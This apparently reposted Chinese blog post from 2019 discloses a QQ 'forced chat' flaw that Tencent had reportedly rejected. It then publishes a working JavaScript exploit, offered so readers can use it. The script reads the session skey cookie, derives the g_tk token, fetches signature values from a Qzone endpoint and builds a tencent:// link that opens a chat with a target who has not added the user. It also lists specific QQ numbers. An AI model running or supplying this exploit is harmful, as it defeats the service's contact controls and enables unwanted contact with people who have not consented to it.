最新QQ強制聊天代碼，同時可判斷好友關係

時間 2019-11-10

標籤最新強制聊天代碼同時判斷好友關係欄目騰訊简体版

原文原文鏈接

QQ強聊雖然早就變成了一個傳說，但如今依然能夠實現。html

小菜其實早就知道這個漏洞，可是一直沒公佈，前兩天忽然來興致試了試，沒想到漏洞依然存在。ajax

而後小菜跑到了烏雲漏洞報告平臺舉報漏洞，但沒想到被騰訊魯莽的否定了，他居然說漏洞不存在，漏洞不存在，那些截圖是怎麼來的。。。小菜辛辛苦苦寫的漏洞原理，就這麼無情的被拒絕了。。。跨域

小菜很失望，既然騰訊這麼不負責任，那小菜就把漏洞發出來。瀏覽器

漏洞的具體原理，小菜已經在烏雲上闡述了《騰訊QQ強制聊天漏洞》，十分的詳細，在這很少說。cookie

爲了讓讀者更方便的利用此漏洞，小菜寫了一個js腳本，腳本以下async

  1 (function(exports){
  2 
  3   var chatVO = {
  4     //你的QQ
  5     yourQQ: "20737302",
  6     //你好友的QQ
  7     yourFQQ: "649374916",
  8     //女神的QQ
  9     targetQQ: "20618348",
 10     //女神好友的QQ
 11     targetFQQ: "649374916"
 12   };
 13   var config = {
 14     init: function(){
 15       var skey;
 16       skey = getCookie("skey") || getCookie("rv2") || "";
 17       function getCookie(name){
 18         var r = new RegExp("(?:^|;+|\\s+)" + name + "=([^;]*)"), m = document.cookie.match(r);
 19         return !m ? "" : m[1];
 20       }
 21       function _DJB (str) {
 22         var hash = 5381;
 23         for (var i = 0, len = str.length; i < len; ++i)
 24             hash += (hash << 5) + str.charCodeAt(i);
 25         return hash & 2147483647
 26       };
 27       
 28       this.sigURL = this.sigURL.replace("{{t}}",_DJB(skey));
 29     },
 30     sigURL: "http://r.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin={{sender}}&to_uin={{receiver}}&g_tk={{t}}",
 31     chatURL: "tencent://message/?Menu=yes&uin={{sender}}&Service=112&SigT={{sigt}}&SigU={{sigu}}"
 32   };
 33   var util = {
 34     ajax: function(obj){
 35       var xmlHttp;
 36       
 37       if(obj.async === undefined){
 38         obj.async = true;
 39       }
 40       
 41       if(window.XMLHttpRequest){
 42           xmlHttp = new XMLHttpRequest();
 43       }else{
 44           xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
 45       }
 46       
 47       xmlHttp.onreadystatechange=function(){
 48         obj.callback(xmlHttp);
 49       };
 50       xmlHttp.open(obj.type,obj.url,obj.async);
 51       xmlHttp.send();
 52     }
 53   };
 54   var logic = {
 55     getSigU: function (sender,receiver){
 56       var sigu = "";
 57       util.ajax({
 58         url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
 59         type: "get",
 60         async: false,
 61         callback: function(xhr){
 62           if(xhr.readyState == 4){
 63             var html = xhr.responseText.replace(/[\n]/g,"");
 64             if(/&SigU=/gmi.test(html)){
 65               sigu = html.split(/&SigU=/m)[1].split(/'/m)[0];
 66             }else{
 67               alert("你和你的好友，好友關係不成立！");
 68             }
 69           }
 70         }
 71       });
 72       
 73       return sigu;
 74     },
 75     getSigT: function (sender,receiver){
 76       var sigt = "";
 77       util.ajax({
 78         url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
 79         type: "get",
 80         async: false,
 81         callback: function(xhr){
 82           if(xhr.readyState == 4){
 83             var html = xhr.responseText.replace(/[\n]/g,"");
 84             if(/&SigT=/gmi.test(html)){
 85               sigt = html.split(/&SigT=/m)[1].split(/&SigU=/m)[0];
 86             }else{
 87               alert("他和他的好友，好友關係不成立！");
 88             }
 89           }
 90         }
 91       });
 92       
 93       return sigt;
 94     },
 95     runChat: function (sender,sigu,sigt) {
 96       exports.location = config.chatURL.replace("{{sender}}",sender).replace("{{sigt}}",sigt).replace("{{sigu}}",sigu);
 97     }
 98   };
 99   
100   config.init();
101   
102   var sigu = logic.getSigU(chatVO.yourQQ,chatVO.yourFQQ);
103   var sigt = logic.getSigT(chatVO.targetFQQ,chatVO.targetQQ);
104   
105   logic.runChat(chatVO.targetQQ,sigu,sigt);
106   
107 })(this);